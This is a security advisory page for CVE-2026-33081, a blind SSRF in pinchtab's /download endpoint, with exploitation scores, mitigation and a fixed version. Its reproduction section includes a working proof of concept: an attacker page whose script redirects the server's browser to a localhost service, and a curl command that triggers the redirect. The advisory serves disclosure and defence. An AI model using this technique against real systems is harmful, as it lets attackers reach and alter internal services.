CVE-2026-33081 — pinchtab
MEDIUMCVE-2026-33081 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in github.com/pinchtab/pinchtab. A fix is available for github.com/pinchtab/pinchtab — see the affected versions and patch details below.
PinchTab has Blind SSRF via browser-side redirect bypass in /download URL validation
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33081.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33081 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/pinchtab/pinchtabReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.
Exploitation requires \security.allowDownload=true, which is disabled by default.
However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.
Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.
This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.
Steps to Reproduce:
Environment Setup Target: PinchTab server (tested on v0.8.x, v0.7.x) Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py
1. Start a Local Internal Service (Victim Side)
Run a simple HTTP service bound to localhost: internal_service.py
python internal_service.py
#Example behavior of internal_service.py:
#Listens on 127.0.0.1:1337
#Exposes endpoint /increment
#Increments a counter and logs requests
#Expected output when accessed:
#COUNTER INCREMENTED: 1
#COUNTER INCREMENTED: 2
2. Host an Attacker-Controlled Page (Attacker side)
Deploy a malicious HTML page that redirects to the internal service: attacker.py
<html>
<body>
<script>
setTimeout(function(){
window.location = "http://127.0.0.1:1337/increment";
}, 1500);
</script>
</body>
</html>
Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app
3. Trigger the Vulnerable Endpoint (Attacker side)
Send a request to the PinchTab /download endpoint:
curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"
If a server token is configured, the request must include valid authentication.
4. Observe Server-Side Request to Localhost
When PinchTab processes the request:
- It launches a headless Chromium instance
- The browser loads the attacker-controlled page
- JavaScript executes within the browser
- The browser redirects to: http://127.0.0.1:1337/increment
5. Verify the Impact
Check the output of internal_service.py: <img width="718" height="156" alt="proof" src="https://github.com/user-attachments/assets/cf00e3e6-71c6-44ae-83b0-ed819f19ee9a" />
COUNTER INCREMENTED: 1 <img width="718" height="282" alt="proof_incremented" src="https://github.com/user-attachments/assets/98281b8e-221b-4e76-a10b-1b2335d08c61" />
This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.
Impact
This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.
Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.
Mitigation
Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/pinchtab/pinchtab | all versions | 0.8.3go get github.com/pinchtab/pinchtab@v0.8.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pinchtab/pinchtab, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/pinchtab/pinchtab to 0.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33081 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33081 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33081. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33081 in your dependencies?
O3 Security finds CVE-2026-33081 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.